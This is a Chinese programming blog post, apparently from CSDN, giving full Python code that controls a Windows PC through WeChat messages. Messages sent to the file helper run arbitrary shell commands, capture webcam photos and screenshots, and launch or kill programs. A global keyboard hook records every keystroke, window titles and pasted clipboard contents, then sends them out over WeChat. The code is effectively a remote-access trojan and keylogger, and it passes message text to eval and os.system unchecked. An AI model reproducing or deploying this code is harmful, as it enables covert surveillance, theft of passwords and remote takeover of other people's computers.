python操作微信电脑版_python 通过微信发送消息控制电脑

[Python] 纯文本查看 复制代码# coding=utf-8

import itchat

from tkinter import *

from tkinter import messagebox

import os

import time

import cv2

import pyautogui

import win32api

from time import sleep

from ctypes import *

import pythoncom

import PyHook3

import win32clipboard

import sys

path=os.getcwd()

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

#退出监听的指令单词,可以修改

QUIT_WORD="BIGBANG"

QUIT_CONT=QUIT_WORD

sendMsg = u"{消息助手}:暂时无法回复"

usageMsg = u"使用方法:\n" \

u"1.运行CMD命令:cmd xxx (xxx为命令)\n" \

u"-例如关机命令:cmd shutdown -s -t \n" \

u"2.获取当前电脑用户:cap\n" \

u"3.启用消息助手(默认开启):ast\n" \

u"4.关闭消息助手:astc\n" \

u"5. 截屏,截图 \n" \

u"6. 例(启动C:\Program Files (x86)\软件\qq\Bin\QQ.exe) \n" \

u"7.关闭** (例 关闭QQ)\n" \

u"8. 监听键盘 (开启后无法退出)\n" \

u"8.退出程序\n" \

u"9.信息保存在Wechat\n" \

u"10.结束程序方法:关闭wechat"

i=1

flag = 1 # 消息助手开关

nowTime = time.localtime()

t = str(nowTime.tm_mday)+'日' + str(nowTime.tm_hour)+'时' + str(nowTime.tm_min)+ '分'+ str(nowTime.tm_sec) +'秒'

def send_message_text(message):

itchat.send(message, "filehelper")

@itchat.msg_register('Text')

def text_reply(msg):

global flag

global i

message = msg['Text']

fromName = msg['FromUserName']

toName = msg['ToUserName']

if toName == "filehelper":

i=i+1

if message == "cap":

cap = cv2.VideoCapture(0)

ret, img = cap.read()

cv2.imwrite("./Wechat/cap%d.jpg"%i, img)

itchat.send('@img@%s' % u'./Wechat/cap%d.jpg'%i, 'filehelper')

cap.release()

if message[0:3] == "cmd":

if message[4:12]=="shutdown":

b = message.split('-')[-1]

b=eval(b)

os.system(message.strip(message[0:4]))

for i in range(b):

sleep(1)

itchat.send("你的电脑将在%d秒后关机" %(b-i), "filehelper")

itchat.send('Over........',"filehelper")

if message == "ast":

flag = 1

itchat.send("消息助手已开启", "filehelper")

if message == "astc":

flag = 0

itchat.send("消息助手已关闭", "filehelper")

if message =="截屏"or message =="截图":

img = pyautogui.screenshot(region=[0, 0, 1920, 1080]) # x,y,w,h

img.save('./Wechat/sceen%d.jpg'%i)

itchat.send('@img@%s' % u'Wechat/sceen%d.jpg'%i, 'filehelper')

if message[0:2] == "启动":

task=message[2:]

win32api.ShellExecute(0, 'open',task, '', '', 1)

itchat.send('启动qq成功', 'filehelper')

if message[0:2] == '关闭':

wyc=message[2:]

os.system("taskkill /F /IM "+wyc+".exe")

itchat.send('关闭qq成功', 'filehelper')

if message == "监听" or message == "监听键盘":

send_message_text('开始监听...\n'+'不能执行其他操作')

hook()

if message:

with open('./Wechat/wechat.txt', 'a', encoding='utf-8') as myfile:

myfile.write(t+'\n'+message)

myfile.write("\n")

def OnKeyboardEvent(event):

global current_window,QUIT_WORD,QUIT_CONT,path

FileStr=""

if(len(QUIT_WORD)==0):

FileStr+="\n------------结束监听-----------\n"

fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')

fp.write(FileStr)

fp.close()

send_message_text(FileStr)

sys.exit()

return False

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if event.Window != current_window:

current_window = event.Window

# event.WindowName有时候会不好用

# 所以调用底层API喊来获取窗口标题

windowTitle = create_string_buffer(512)

windll.user32.GetWindowTextA(event.Window,

byref(windowTitle),

512)

windowName = windowTitle.value.decode('gbk')

FileStr+="\n"+("-"*30)+"\n窗口名:%s\n窗口ID:%s\n"%(windowName,event.Window)

# 检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii <127:

FileStr+=chr(event.Ascii)+' '

else:

# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

FileStr+='\n'+("-"*30)+'\n'+"检测到粘贴快捷键\n"

FileStr+="[粘贴内容:] "+pasted_value

FileStr+="\n"

FileStr+=("-"*30)+'\n'

elif event.Key=="Z":

FileStr+="[Ctrl+Z] "

elif event.Key=="A":

FileStr+="[全选] "

elif event.Key=="C":

FileStr+="[Ctrl+C] "

else:

if(event.Key=="Space"):

FileStr+="[空格] "

elif(event.Key=="Lshift"):

FileStr+="[左Shift] "

elif(event.Key=="Left"):

FileStr+="[←] "

elif(event.Key=="Right"):

FileStr+="[→] "

elif(event.Key=="Up"):

FileStr+="[↑] "

elif(event.Key=="Down"):

FileStr+="[↓] "

elif(event.Key=="Lmenu"):

FileStr+="[左Alt] "

elif(event.Key=="Rmenu"):

FileStr+="[右Alt] "

elif(event.Key=="Rshift"):

FileStr+="[右Shift] "

elif(event.Key=="Lcontrol"):

FileStr+="[左Ctrl] "

elif(event.Key=="Rcontrol"):

FileStr+="[右Ctrl] "

elif(event.Key=="Return"):

FileStr+="[回车] "

elif(event.Key=="Back"):

FileStr+="[删除] "

elif(event.Key=="Delete"):

FileStr+="[Del] "

elif(event.Key=="Insert"):

FileStr+="[Ins] "

elif(event.Key=="Prior"):

FileStr+="[PgUp] "

elif(event.Key=="Next"):

FileStr+="[PgDn] "

elif(event.Key=="End"):

FileStr+="[End] "

elif(event.Key=="Home"):

FileStr+="[Home] "

elif(event.Key=="None"):

FileStr+="[None] "

elif(event.Key=="Apps"):

#就是右Alt右边的那个键

FileStr+="[菜单] "

elif(event.Key=="Capital"):

FileStr+="[大写] "

elif(event.Key=="Tab"):

FileStr+="[Tab] "

elif(event.Key=="Lwin"):

FileStr+="[左Win] "

elif(event.Key=="Rwin"):

FileStr+="[右Win] "

elif(event.Key=="Escape"):

FileStr+="[Esc] "

elif(event.Key=="Pause"):

#就是PrintScreen右边那个键

FileStr+="[暂停] "

elif(event.Key=="Snapshot"):

FileStr+="[截屏] "

else:

FileStr+="[%s] "%event.Key

#判断退出监听指令符

if (event.Key==QUIT_WORD[0]):

QUIT_WORD=QUIT_WORD[1:]

if(len(QUIT_WORD)==0):

FileStr+="\n------------结束监听-------------\n"

fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')

fp.write(FileStr)

fp.close()

send_message_text(FileStr)

sys.exit()

return False

else:

QUIT_WORD=QUIT_CONT

#写入文件

fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')

fp.write(FileStr)

fp.close()

send_message_text(FileStr)

# 循环监听下一个击键事件

return True

# 创建并注册hook管理器

def hook():

kl = PyHook3.HookManager()

kl.KeyDown = OnKeyboardEvent

# 注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值